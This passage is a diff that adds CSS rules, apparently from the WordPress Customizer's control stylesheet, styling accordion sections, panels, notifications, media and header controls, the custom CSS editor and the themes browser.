+#customize-theme-controls .accordion-section-title:after,
+#customize-outer-theme-controls .accordion-section-title:after {
+	content: "\f345";
+	color: #a0a5aa;
+}
+
+#customize-theme-controls .accordion-section-content,
+#customize-outer-theme-controls .accordion-section-content {
+	color: #555d66;
+	background: transparent;
+}
+
+#customize-controls .control-section:hover > .accordion-section-title,
+#customize-controls .control-section .accordion-section-title:hover,
+#customize-controls .control-section.open .accordion-section-title,
+#customize-controls .control-section .accordion-section-title:focus {
+	color: #0073aa;
+	background: #f3f3f5;
+	border-left-color: #0073aa;
+}
+
+#accordion-section-themes + .control-section {
+	border-top: 1px solid #ddd;
+}
+
+.js .control-section:hover .accordion-section-title,
+.js .control-section .accordion-section-title:hover,
+.js .control-section.open .accordion-section-title,
+.js .control-section .accordion-section-title:focus {
+	background: #f3f3f5;
+}
+
+#customize-theme-controls .control-section:hover > .accordion-section-title:after,
+#customize-theme-controls .control-section .accordion-section-title:hover:after,
+#customize-theme-controls .control-section.open .accordion-section-title:after,
+#customize-theme-controls .control-section .accordion-section-title:focus:after,
+#customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
+#customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
+#customize-outer-theme-controls .control-section.open .accordion-section-title:after,
+#customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
+	color: #0073aa;
+}
+
+#customize-theme-controls .control-section.open {
+	border-bottom: 1px solid #eee;
+}
+
+#customize-theme-controls .control-section.open .accordion-section-title,
+#customize-outer-theme-controls .control-section.open .accordion-section-title {
+	border-bottom-color: #eee !important;
+}
+
+#customize-theme-controls .control-section:last-of-type.open,
+#customize-theme-controls .control-section:last-of-type > .accordion-section-title {
+	border-bottom-color: #ddd;
+}
+
+#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),
+#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,
+#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title {
+	border-top: 1px solid #ddd;
+}
+
+#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu + .control-section-nav_menu {
+	border-top: none;
+}
+
+#customize-theme-controls > ul {
+	margin: 0;
+}
+
+#customize-theme-controls .accordion-section-content {
+	position: absolute;
+	top: 0;
+	left: 100%;
+	width: 100%;
+	margin: 0;
+	padding: 12px;
+	box-sizing: border-box;
+}
+
+#customize-info,
+#customize-theme-controls .customize-pane-parent,
+#customize-theme-controls .customize-pane-child {
+	overflow: visible;
+	width: 100%;
+	margin: 0;
+	padding: 0;
+	box-sizing: border-box;
+	transition: 0.18s transform cubic-bezier(0.645, 0.045, 0.355, 1); /* easeInOutCubic */
+}
+
+#customize-theme-controls .customize-pane-child.skip-transition {
+	transition: none;
+}
+
+#customize-info,
+#customize-theme-controls .customize-pane-parent {
+	position: relative;
+	visibility: visible;
+	height: auto;
+	max-height: none;
+	overflow: auto;
+	transform: none;
+}
+
+#customize-theme-controls .customize-pane-child {
+	position: absolute;
+	top: 0;
+	left: 0;
+	visibility: hidden;
+	height: 0;
+	max-height: none;
+	overflow: hidden;
+	transform: translateX(100%);
+}
+
+#customize-theme-controls .customize-pane-child.open,
+#customize-theme-controls .customize-pane-child.current-panel {
+	transform: none;
+}
+
+.section-open #customize-theme-controls .customize-pane-parent,
+.in-sub-panel #customize-theme-controls .customize-pane-parent,
+.section-open #customize-info,
+.in-sub-panel #customize-info,
+.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel {
+	visibility: hidden;
+	height: 0;
+	overflow: hidden;
+	transform: translateX(-100%);
+}
+
+.section-open #customize-theme-controls .customize-pane-parent.busy,
+.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,
+.section-open #customize-info.busy,
+.in-sub-panel #customize-info.busy,
+.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,
+#customize-theme-controls .customize-pane-child.open,
+#customize-theme-controls .customize-pane-child.current-panel,
+#customize-theme-controls .customize-pane-child.busy {
+	visibility: visible;
+	height: auto;
+	overflow: auto;
+}
+
+#customize-theme-controls .customize-pane-child.accordion-section-content,
+#customize-theme-controls .customize-pane-child.accordion-sub-container {
+	display: block;
+	overflow-x: hidden;
+}
+
+#customize-theme-controls .customize-pane-child.accordion-section-content {
+	padding: 12px;
+}
+
+#customize-theme-controls .customize-pane-child.menu li {
+	position: static;
+}
+
+.customize-section-description-container,
+.control-section-nav_menu .customize-section-description-container,
+.control-section-new_menu .customize-section-description-container {
+	margin-bottom: 15px;
+}
+
+.control-section-nav_menu .customize-control,
+.control-section-new_menu .customize-control {
+	/* Override default `margin-bottom` for `.customize-control` */
+	margin-bottom: 0;
+}
+
+.customize-section-title {
+	margin: -12px -12px 0 -12px;
+	border-bottom: 1px solid #ddd;
+	background: #fff;
+}
+
+div.customize-section-description {
+	margin-top: 22px;
+}
+
+.customize-info div.customize-section-description {
+	margin-top: 0;
+}
+
+div.customize-section-description p:first-child {
+	margin-top: 0;
+}
+
+div.customize-section-description p:last-child {
+	margin-bottom: 0;
+}
+
+#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child {
+	border-bottom: 1px solid #ddd;
+	padding: 12px 12px 12px 12px;
+}
+
+.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child {
+	padding: 12px 12px 13px 12px;
+}
+
+.customize-section-title h3,
+h3.customize-section-title {
+	padding: 10px 10px 12px 14px;
+	margin: 0;
+	line-height: 21px;
+	color: #555d66;
+}
+
+.accordion-sub-container.control-panel-content {
+	display: none;
+	position: absolute;
+	top: 0;
+	width: 100%;
+}
+
+.accordion-sub-container.control-panel-content.busy {
+	display: block;
+}
+
+.current-panel .accordion-sub-container.control-panel-content {
+	width: 100%;
+}
+
+.customize-controls-close {
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 45px;
+	height: 41px;
+	padding: 0 2px 0 0;
+	background: #eee;
+	border: none;
+	border-top: 4px solid #eee;
+	border-right: 1px solid #ddd;
+	color: #444;
+	text-align: left;
+	cursor: pointer;
+	transition: color .15s ease-in-out,
+	            border-color .15s ease-in-out,
+	            background .15s ease-in-out;
+	box-sizing: content-box;
+}
+
+.customize-panel-back,
+.customize-section-back {
+	display: block;
+	float: left;
+	width: 48px;
+	height: 71px;
+	padding: 0 24px 0 0;
+	margin: 0;
+	background: #fff;
+	border: none;
+	border-right: 1px solid #ddd;
+	border-left: 4px solid #fff;
+	box-shadow: none;
+	cursor: pointer;
+	transition: color .15s ease-in-out,
+	            border-color .15s ease-in-out,
+	            background .15s ease-in-out;
+}
+
+.customize-section-back {
+	height: 74px;
+}
+
+.ios .customize-panel-back {
+	display: none;
+}
+
+.ios .expanded.in-sub-panel .customize-panel-back {
+	display: block;
+}
+
+#customize-controls .panel-meta.customize-info .accordion-section-title {
+	margin-left: 48px;
+	border-left: none;
+}
+
+#customize-controls .panel-meta.customize-info .accordion-section-title:hover,
+#customize-controls .cannot-expand:hover .accordion-section-title {
+	background: #fff;
+	color: #555d66;
+	border-left-color: #fff;
+}
+
+.customize-controls-close:focus,
+.customize-controls-close:hover,
+.customize-controls-preview-toggle:focus,
+.customize-controls-preview-toggle:hover {
+	background: #fff;
+	color: #0073aa;
+	border-top-color: #0073aa;
+	outline: none;
+	box-shadow: none;
+}
+
+
+.customize-panel-back:hover,
+.customize-panel-back:focus,
+.customize-section-back:hover,
+.customize-section-back:focus {
+	color: #0073aa;
+	background: #f3f3f5;
+	border-left-color: #0073aa;
+	outline: none;
+	box-shadow: none;
+}
+
+.customize-controls-close:before {
+	font: normal 22px/45px dashicons;
+	content: "\f335";
+	position: relative;
+	top: -3px;
+	left: 13px;
+}
+
+.customize-panel-back:before,
+.customize-section-back:before {
+	font: normal 20px/72px dashicons;
+	content: "\f341";
+	position: relative;
+	left: 9px;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-header {
+	background-color: #eee;
+	transition: padding ease-in-out .18s;
+}
+
+.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header {
+	padding-left: 62px;
+}
+
+p.customize-section-description {
+	font-style: normal;
+	margin-top: 22px;
+	margin-bottom: 0;
+}
+
+.customize-section-description ul {
+	margin-left: 1em;
+}
+
+.customize-section-description ul > li {
+	list-style: disc;
+}
+
+.section-description-buttons {
+	text-align: right;
+}
+
+.section-description-buttons button.button-link {
+	color: #0073aa;
+	text-decoration: underline;
+}
+
+.customize-control {
+	width: 100%;
+	float: left;
+	clear: both;
+	margin-bottom: 12px;
+}
+
+.customize-control select,
+.customize-control input[type="radio"],
+.customize-control input[type="checkbox"] {
+	line-height: 28px;
+}
+
+.customize-control input[type="text"],
+.customize-control input[type="password"],
+.customize-control input[type="email"],
+.customize-control input[type="number"],
+.customize-control input[type="search"],
+.customize-control input[type="tel"],
+.customize-control input[type="url"] {
+	width: 100%;
+	line-height: 18px;
+	margin: 0;
+}
+
+.customize-control-hidden {
+	margin: 0;
+}
+
+.customize-control-textarea textarea {
+	width: 100%;
+	resize: vertical;
+}
+
+.customize-control select {
+	width: 100%;
+	height: 28px;
+	line-height: 28px;
+}
+
+.customize-control select[multiple] {
+	height: auto;
+}
+
+.customize-control-title {
+	display: block;
+	font-size: 14px;
+	line-height: 24px;
+	font-weight: 600;
+	margin-bottom: 4px;
+}
+
+.customize-control-description {
+	display: block;
+	font-style: italic;
+	line-height: 18px;
+	margin-top: 0;
+	margin-bottom: 5px;
+}
+
+.customize-section-description a.external-link:after {
+	font: 16px/11px dashicons;
+	content: "\f310";
+	top: 3px;
+	position: relative;
+	padding-left: 3px;
+	display: inline-block;
+	text-decoration: none;
+}
+
+.customize-control-color .color-picker,
+.customize-control-upload div {
+	line-height: 28px;
+}
+
+.customize-control .customize-inside-control-row {
+	line-height: 20px;
+	display: block;
+	margin-left: 24px;
+	padding-top: 6px;
+	padding-bottom: 6px;
+}
+
+.customize-control-radio input,
+.customize-control-checkbox input,
+.customize-control-nav_menu_auto_add input {
+	margin-right: 4px;
+	margin-left: -24px;
+}
+
+.customize-control-radio {
+	padding: 5px 0 10px;
+}
+
+.customize-control-radio .customize-control-title {
+	margin-bottom: 0;
+	line-height: 22px;
+}
+
+.customize-control-radio .customize-control-title + .customize-control-description {
+	margin-top: 7px;
+}
+
+.customize-control-radio label,
+.customize-control-checkbox label {
+	vertical-align: top;
+}
+
+.customize-control .attachment-thumb.type-icon {
+	float: left;
+	margin: 10px;
+	width: auto;
+}
+
+.customize-control .attachment-title {
+	font-weight: 600;
+	margin: 0;
+	padding: 5px 10px;
+}
+
+.customize-control .attachment-meta {
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	margin: 0;
+	padding: 0 10px;
+}
+
+.customize-control .attachment-meta-title {
+	padding-top: 7px;
+}
+
+/* Remove descender space. */
+.customize-control .thumbnail-image,
+.customize-control-header .current,
+.customize-control .wp-media-wrapper.wp-video {
+	line-height: 0;
+}
+
+/* Remove descender space. */
+.customize-control-site_icon .favicon-preview .browser-preview {
+	vertical-align: top;
+}
+
+.customize-control .thumbnail-image img {
+	cursor: pointer;
+}
+
+#customize-controls .thumbnail-audio .thumbnail {
+	max-width: 64px;
+	max-height: 64px;
+	margin: 10px;
+	float: left;
+}
+
+#available-menu-items .accordion-section-content .new-content-item,
+.customize-control-dropdown-pages .new-content-item {
+	width: calc(100% - 30px);
+	padding: 8px 15px;
+	position: absolute;
+	bottom: 0;
+	z-index: 10;
+	background: #eee;
+	display: flex;
+}
+
+.customize-control-dropdown-pages .new-content-item {
+	width: 100%;
+	padding: 5px 0 5px 1px;
+	position: relative;
+}
+
+#available-menu-items .new-content-item .create-item-input,
+.customize-control-dropdown-pages .new-content-item .create-item-input {
+	flex-grow: 10;
+}
+
+#available-menu-items .new-content-item .add-content,
+.customize-control-dropdown-pages .new-content-item .add-content {
+	margin: 2px 0 2px 6px;
+	flex-grow: 1;
+}
+
+.customize-control-dropdown-pages .new-content-item .create-item-input.invalid {
+	border: 1px solid #dc3232;
+}
+
+.customize-control-dropdown-pages .add-new-toggle {
+	margin-left: 1px;
+	font-weight: 600;
+	line-height: 28px;
+}
+
+#customize-preview iframe {
+	width: 100%;
+	height: 100%;
+	position: absolute;
+}
+#customize-preview iframe + iframe {
+	visibility: hidden;
+}
+
+.wp-full-overlay-sidebar {
+	background: #eee;
+	border-right: 1px solid #ddd;
+}
+
+
+/**
+ * Notifications
+ */
+
+#customize-controls .customize-control-notifications-container { /* Scoped to #customize-controls for specificity over notification styles in common.css. */
+	margin: 4px 0 8px 0;
+	padding: 0;
+	cursor: default;
+}
+
+#customize-controls .customize-control-widget_form.has-error .widget .widget-top,
+.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle {
+	box-shadow: inset 0 0 0 2px #dc3232;
+	transition: .15s box-shadow linear;
+}
+
+#customize-controls .customize-control-notifications-container li.notice {
+	list-style: none;
+	margin: 0 0 6px 0;
+	padding: 9px 14px;
+	overflow: hidden;
+}
+#customize-controls .customize-control-notifications-container .notice.is-dismissible {
+	padding-right: 38px;
+}
+
+.customize-control-notifications-container li.notice:last-child {
+	margin-bottom: 0;
+}
+
+#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container {
+	margin-top: 0;
+}
+
+#customize-controls .customize-control-widget_form .customize-control-notifications-container {
+	margin-top: 8px;
+}
+
+.customize-control-text.has-error input {
+	outline: 2px solid #dc3232;
+}
+
+#customize-controls #customize-notifications-area {
+	position: absolute;
+	top: 46px;
+	width: 100%;
+	border-bottom: 1px solid #ddd;
+	display: block;
+	padding: 0;
+	margin: 0;
+}
+
+.wp-full-overlay.collapsed #customize-controls #customize-notifications-area {
+	display: none !important;
+}
+
+#customize-controls #customize-notifications-area:not(.has-overlay-notifications),
+#customize-controls .customize-section-title > .customize-control-notifications-container:not(.has-overlay-notifications),
+#customize-controls .panel-meta > .customize-control-notifications-container:not(.has-overlay-notifications) {
+	max-height: 210px;
+	overflow-x: hidden;
+	overflow-y: auto;
+}
+
+#customize-controls #customize-notifications-area > ul,
+#customize-controls #customize-notifications-area .notice,
+#customize-controls .panel-meta > .customize-control-notifications-container,
+#customize-controls .panel-meta > .customize-control-notifications-container .notice,
+#customize-controls .customize-section-title > .customize-control-notifications-container,
+#customize-controls .customize-section-title > .customize-control-notifications-container .notice {
+	margin: 0;
+}
+#customize-controls .panel-meta > .customize-control-notifications-container,
+#customize-controls .customize-section-title > .customize-control-notifications-container {
+	border-top: 1px solid #ddd;
+}
+#customize-controls #customize-notifications-area .notice,
+#customize-controls .panel-meta > .customize-control-notifications-container .notice,
+#customize-controls .customize-section-title > .customize-control-notifications-container .notice {
+	padding: 9px 14px;
+}
+#customize-controls #customize-notifications-area .notice.is-dismissible,
+#customize-controls .panel-meta > .customize-control-notifications-container .notice.is-dismissible,
+#customize-controls .customize-section-title > .customize-control-notifications-container .notice.is-dismissible {
+	padding-right: 38px;
+}
+#customize-controls #customize-notifications-area .notice + .notice,
+#customize-controls .panel-meta > .customize-control-notifications-container .notice + .notice,
+#customize-controls .customize-section-title > .customize-control-notifications-container .notice + .notice {
+	margin-top: 1px;
+}
+
+@keyframes customize-fade-in {
+	0%   { opacity: 0; }
+	100% { opacity: 1; }
+}
+
+#customize-controls .notice.notification-overlay,
+#customize-controls #customize-notifications-area .notice.notification-overlay {
+	margin: 0;
+	border-left: 0; /* @todo Appropriate styles could be added for notice-error, notice-warning, notice-success, etc */
+}
+
+#customize-controls .customize-control-notifications-container.has-overlay-notifications {
+	animation: customize-fade-in 0.5s;
+	z-index: 30;
+}
+
+/* Note: Styles for this are also defined in themes.css */
+#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message {
+	clear: both;
+	color: #191e23;
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 2em 0;
+	text-align: center;
+	width: 100%;
+	display: block;
+	top: 50%;
+	position: relative;
+}
+
+/* Style for custom settings */
+
+/**
+ * Static front page
+ */
+
+#customize-control-show_on_front.has-error {
+	margin-bottom: 0;
+}
+#customize-control-show_on_front.has-error .customize-control-notifications-container {
+	margin-top: 12px;
+}
+
+/**
+ * Dropdowns
+ */
+
+.accordion-section .dropdown {
+	float: left;
+	display: block;
+	position: relative;
+	cursor: pointer;
+}
+
+.accordion-section .dropdown-content {
+	overflow: hidden;
+	float: left;
+	min-width: 30px;
+	height: 16px;
+	line-height: 16px;
+	margin-right: 16px;
+	padding: 4px 5px;
+	border: 2px solid #eee;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+/* @todo maybe no more used? */
+.customize-control .dropdown-arrow {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	right: 0;
+	width: 20px;
+	background: #eee;
+}
+
+.customize-control .dropdown-arrow:after {
+	content: "\f140";
+	font: normal 20px/1 dashicons;
+	speak: none;
+	display: block;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #32373c;
+}
+
+.customize-control .dropdown-status {
+	color: #32373c;
+	background: #eee;
+	display: none;
+	max-width: 112px;
+}
+
+.customize-control-color .dropdown {
+	margin-right: 5px;
+	margin-bottom: 5px;
+}
+
+.customize-control-color .dropdown .dropdown-content {
+	background-color: #555d66;
+	border: 1px solid rgba(0, 0, 0, 0.15);
+}
+
+.customize-control-color .dropdown:hover .dropdown-content {
+	border-color: rgba(0, 0, 0, 0.25);
+}
+
+/**
+ * iOS can't scroll iframes,
+ * instead it expands the iframe size to match the size of the content
+ */
+
+.ios .wp-full-overlay {
+	position: relative;
+}
+
+.ios #customize-controls .wp-full-overlay-sidebar-content {
+	-webkit-overflow-scrolling: touch;
+}
+
+/* Media controls */
+
+.customize-control .actions .button {
+	margin-top: 12px;
+}
+
+.customize-control-header .actions,
+.customize-control-header .uploaded {
+	margin-bottom: 18px;
+}
+
+.customize-control-header .uploaded button:not(.random),
+.customize-control-header .default button:not(.random) {
+	width: 100%;
+	padding: 0;
+	margin: 0;
+	background: none;
+	border: none;
+	color: inherit;
+	cursor: pointer;
+}
+
+.customize-control-header button img {
+	display: block;
+}
+
+.customize-control .attachment-media-view .remove-button,
+.customize-control .attachment-media-view .default-button,
+.customize-control .attachment-media-view .upload-button,
+.customize-control-header button.new,
+.customize-control-header button.remove {
+	width: auto;
+	height: auto;
+	white-space: normal;
+}
+
+.customize-control .attachment-media-view .thumbnail,
+.customize-control-header .current .container {
+	overflow: hidden;
+}
+
+.customize-control .attachment-media-view .placeholder,
+.customize-control-header .placeholder {
+	width: 100%;
+	position: relative;
+	text-align: center;
+	cursor: default;
+	border: 1px dashed #b4b9be;
+	box-sizing: border-box;
+	padding: 9px 0;
+	line-height: 20px;
+}
+
+.customize-control-header .inner {
+	display: none;
+	position: absolute;
+	width: 100%;
+	color: #555d66;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+	overflow: hidden;
+}
+
+.customize-control-header .inner,
+.customize-control-header .inner .dashicons {
+	line-height: 20px;
+	top: 8px;
+}
+
+.customize-control-header .list .inner,
+.customize-control-header .list .inner .dashicons {
+	top: 9px;
+}
+
+.customize-control-header .header-view {
+	position: relative;
+	width: 100%;
+	margin-bottom: 12px;
+}
+
+.customize-control-header .header-view:last-child {
+	margin-bottom: 0px;
+}
+
+/* Convoluted, but 'outline' support isn't good enough yet */
+.customize-control-header .header-view:after {
+	border: 0;
+}
+
+.customize-control-header .header-view.selected .choice:focus {
+	outline: none;
+}
+
+.customize-control-header .header-view.selected:after {
+	content: '';
+	position: absolute;
+	height: auto;
+	top: 0;
+	left: 0;
+	bottom: 0;
+	right: 0;
+	border: 4px solid #00a0d2;
+	border-radius: 2px;
+}
+
+.customize-control-header .header-view.button.selected {
+	border: 0;
+}
+
+/* Header control: overlay "close" button */
+
+.customize-control-header .uploaded .header-view .close {
+	font-size: 20px;
+	color: #fff;
+	background: #555d66;
+	background: rgba(0, 0, 0, 0.5);
+	position: absolute;
+	top: 10px;
+	left: -999px;
+	z-index: 1;
+	width: 26px;
+	height: 26px;
+	cursor: pointer;
+}
+
+.customize-control-header .header-view:hover .close,
+.customize-control-header .header-view .close:focus {
+	left: auto;
+	right: 10px;
+}
+
+.customize-control-header .header-view .close:focus {
+	outline: 1px solid #5b9dd9;
+}
+
+/* Header control: randomiz(s)er */
+
+.customize-control-header .random.placeholder {
+	cursor: pointer;
+	border-radius: 2px;
+	height: 40px;
+}
+
+.customize-control-header button.random {
+	width: 100%;
+	height: auto;
+	min-height: 40px;
+	white-space: normal;
+}
+
+.customize-control-header button.random .dice {
+	margin-top: 4px;
+}
+
+.customize-control-header .placeholder:hover .dice,
+.customize-control-header .header-view:hover > button.random .dice {
+	animation: dice-color-change 3s infinite;
+}
+
+.button-see-me {
+	animation: bounce .7s 1;
+	transform-origin: center bottom;
+}
+
+@keyframes bounce {
+	from, 20%, 53%, 80%, to {
+		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
+		transform: translate3d(0,0,0);
+	}
+
+	40%, 43% {
+		animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
+		transform: translate3d(0, -12px, 0);
+	}
+
+	70% {
+		animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060);
+		transform: translate3d(0, -6px, 0);
+	}
+
+	90% {
+		transform: translate3d(0,-1px,0);
+	}
+}
+
+.customize-control-header .choice {
+	position: relative;
+	display: block;
+	margin-bottom: 9px;
+}
+
+.customize-control-header .choice:focus {
+	outline: none;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 3px 1px rgba(30, 140, 190, .8);
+}
+
+.customize-control-header .uploaded div:last-child > .choice {
+	margin-bottom: 0;
+}
+
+.customize-control .attachment-media-view .thumbnail-image img,
+.customize-control-header img {
+	max-width: 100%;
+}
+
+.customize-control .attachment-media-view .remove-button,
+.customize-control .attachment-media-view .default-button,
+.customize-control-header .remove {
+	margin-right: 8px;
+}
+
+/* Background position control */
+.customize-control-background_position .background-position-control .button-group {
+	display: block;
+}
+
+/**
+ * Code Editor Control and Custom CSS Section
+ *
+ * Modifications to the Section Container to make the textarea full-width and
+ * full-height, if the control is the only control in the section.
+ */
+
+.customize-control-code_editor textarea {
+	width: 100%;
+	font-family: Consolas, Monaco, monospace;
+	font-size: 12px;
+	padding: 6px 8px;
+	-moz-tab-size: 2;
+	-o-tab-size: 2;
+	tab-size: 2;
+}
+.customize-control-code_editor textarea,
+.customize-control-code_editor .CodeMirror {
+	height: 14em;
+}
+
+#customize-controls .customize-section-description-container.section-meta.customize-info {
+	border-bottom: none;
+}
+
+#sub-accordion-section-custom_css .customize-control-notifications-container {
+	margin-bottom: 15px;
+}
+
+#customize-control-custom_css textarea {
+	display: block;
+	height: 500px;
+}
+
+.customize-section-description-container + #customize-control-custom_css .customize-control-title {
+	margin-left: 12px;
+}
+
+.customize-section-description-container + #customize-control-custom_css:last-child textarea {
+	border-right: 0;
+	border-left: 0;
+	height: calc( 100vh - 185px );
+	resize: none;
+}
+
+.customize-section-description-container + #customize-control-custom_css:last-child {
+	margin-left: -12px;
+	width: 299px;
+	width: calc( 100% + 24px );
+	margin-bottom: -12px;
+}
+
+.customize-section-description-container + #customize-control-custom_css:last-child .CodeMirror {
+	height: calc( 100vh - 185px );
+}
+
+.CodeMirror-lint-tooltip,
+.CodeMirror-hints {
+	z-index: 500000 !important;
+}
+
+.customize-section-description-container + #customize-control-custom_css:last-child .customize-control-notifications-container {
+	margin-left: 12px;
+	margin-right: 12px;
+}
+
+.theme-browser .theme.active .theme-actions,
+.wp-customizer .theme-browser .theme .theme-actions {
+	padding: 10px 15px;
+	box-shadow: inset 0 1px 0 rgba(0,0,0,0.1);
+}
+
+@media screen and ( max-width: 640px ) {
+	.customize-section-description-container + #customize-control-custom_css:last-child {
+		margin-right: 0;
+	}
+
+	.customize-section-description-container + #customize-control-custom_css:last-child textarea {
+		height: calc( 100vh - 140px );
+	}
+}
+
+/**
+ * Themes
+ */
+
+#customize-theme-controls .control-panel-themes {
+	border-bottom: none;
+}
+
+#customize-theme-controls .control-panel-themes > .accordion-section-title:hover, /* Not a focusable element. */
+#customize-theme-controls .control-panel-themes > .accordion-section-title {
+	cursor: default;
+	background: #fff;
+	color: #555d66;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #ddd;
+	border-left: none;
+	border-right: none;
+	margin: 0 0 15px 0;
+	padding-right: 100px; /* Space for the button */
+}
+
+#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover, /* Not a focusable element. */
+#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child {
+	border-top: 0;
+}
+
+#customize-theme-controls .control-section-themes > .accordion-section-title:hover, /* Not a focusable element. */
+#customize-theme-controls .control-section-themes > .accordion-section-title {
+	margin: 0 0 15px;
+}
+
+#customize-controls .customize-themes-panel .accordion-section-title:hover,
+#customize-controls .customize-themes-panel .accordion-section-title {
+	margin: 15px -8px;
+}
+
+#customize-controls .control-section-themes .accordion-section-title,
+#customize-controls .customize-themes-panel .accordion-section-title {
+	padding-right: 100px; /* Space for the button */
+}
+
+.control-panel-themes .accordion-section-title span.customize-action,
+#customize-controls .customize-section-title span.customize-action,
+#customize-controls .control-section-themes .accordion-section-title span.customize-action,
+#customize-controls .customize-section-title span.customize-action {
+	font-size: 13px;
+	display: block;
+	font-weight: 400;
+}
+
+#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme {
+	position: absolute;
+	right: 10px;
+	top: 50%;
+	margin-top: -14px;
+	font-weight: 400;
+}
+
+#customize-theme-controls .control-panel-themes > .accordion-section-title:after {
+	display: none;
+}
+
+.control-panel-themes .customize-themes-full-container {
+	position: fixed;
+	top: 0;
+	left: 0;
+	transition: .18s left ease-in-out;
+	margin: 0 0 0 300px;
+	padding: 71px 0 25px;
+	overflow-y: scroll;
+	width: calc(100% - 300px);
+	height: calc(100% - 96px);
+	background: #eee;
+	z-index: 20;
+}
+
+@media screen and (min-width: 1670px) {
+	.control-panel-themes .customize-themes-full-container {
+		width: 82%;
+		right: 0;
+		left: initial;
+	}
+}
+
+.modal-open .control-panel-themes .customize-themes-full-container {
+	overflow-y: visible;
+}
+
+/* Animations for opening the themes panel */
+#customize-save-button-wrapper,
+#customize-header-actions .spinner,
+#customize-header-actions .customize-controls-preview-toggle {
+	transition: .18s margin ease-in-out;
+}
+
+#customize-footer-actions,
+#customize-footer-actions .collapse-sidebar {
+	bottom: 0;
+	transition: .18s bottom ease-in-out;
+}
+
+.in-themes-panel:not(.animating) #customize-header-actions .spinner,
+.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,
+.in-themes-panel:not(.animating) #customize-preview,
+.in-themes-panel:not(.animating) #customize-footer-actions {
+	visibility: hidden;
+}
+
+.wp-full-overlay.in-themes-panel {
+	background: #eee; /* Prevents a black flash when fading in the panel */
+}
+
+.in-themes-panel #customize-save-button-wrapper,
+.in-themes-panel #customize-header-actions .spinner,
+.in-themes-panel #customize-header-actions .customize-controls-preview-toggle {
+	margin-top: -46px; /* Height of header actions bar */
+}
+
+.in-themes-panel #customize-footer-actions,
+.in-themes-panel #customize-footer-actions .collapse-sidebar {
+	bottom: -45px;
+}
+
+/* Don't show the theme count while the panel opens, as it's in the wrong place during the animation */
+.in-themes-panel.animating .control-panel-themes .filter-themes-count {
+	display: none;
+}
+
+.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content {
+	bottom: 0;
+}
+
+.themes-filter-bar .feature-filter-toggle {
+	float: right;
+	margin: 3px 0 3px 25px;
+}
+
+.themes-filter-bar .feature-filter-toggle:before {
+    content: "\f111";
+    margin: 0 5px 0 0;
+    font: normal 16px/1 dashicons;
+    vertical-align: text-bottom;
+    -webkit-font-smoothing: antialiased;
+    -moz-osx-font-smoothing: grayscale;
+}
+
+.themes-filter-bar .feature-filter-toggle.open {
+	background: #eee;
+	border-color: #999;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+	transform: translateY(1px);
+}
+
+.themes-filter-bar .feature-filter-toggle .filter-count-filters {
+	display: none;
+}
+
+.filter-drawer {
+	box-sizing: border-box;
+	width: 100%;
+	position: absolute;
+	top: 46px;
+	left: 0;
+	padding: 25px 0 25px 25px;
+	border-top: 0;
+	margin: 0;
+	background: #eee;
+	border-bottom: 1px solid #ddd;
+}
+
+.filter-drawer .filter-group {
+	margin: 0 25px 0 0;
+	width: calc( (100% - 75px) / 3);
+	min-width: 200px;
+	max-width: 320px;
+}
+
+/* Adds a delay before fading in to avoid it "jumping" */
+@keyframes themes-fade-in {
+	0% {
+		opacity: 0;
+	}
+	50% {
+		opacity: 0;
+	}
+	100% {
+		opacity: 1;
+	}
+}
+
+.control-panel-themes .customize-themes-full-container.animate {
+	animation: .6s themes-fade-in 1;
+}
+
+.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count {
+	animation: .6s themes-fade-in 1;
+}
+
+.control-panel-themes .filter-themes-count {
+	position: relative;
+	float: right;
+	line-height: 34px;
+}
+
+.control-panel-themes .filter-themes-count .themes-displayed {
+	font-weight: 600;
+	color: #555d66;
+}
+
+.customize-themes-notifications {
+	margin: 0;
+}
+
+.control-panel-themes .customize-themes-notifications .notice {
+	margin: 0 0 25px 0;
+}
+
+.customize-themes-full-container .customize-themes-section {
+	display: none !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */
+	overflow: hidden;
+}
+
+.customize-themes-full-container .customize-themes-section.current-section {
+	display: list-item !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */
+}
+
+.control-section .customize-section-text-before {
+	padding: 0 0 8px 15px;
+	margin: 15px 0 0 0;
+	line-height: 16px;
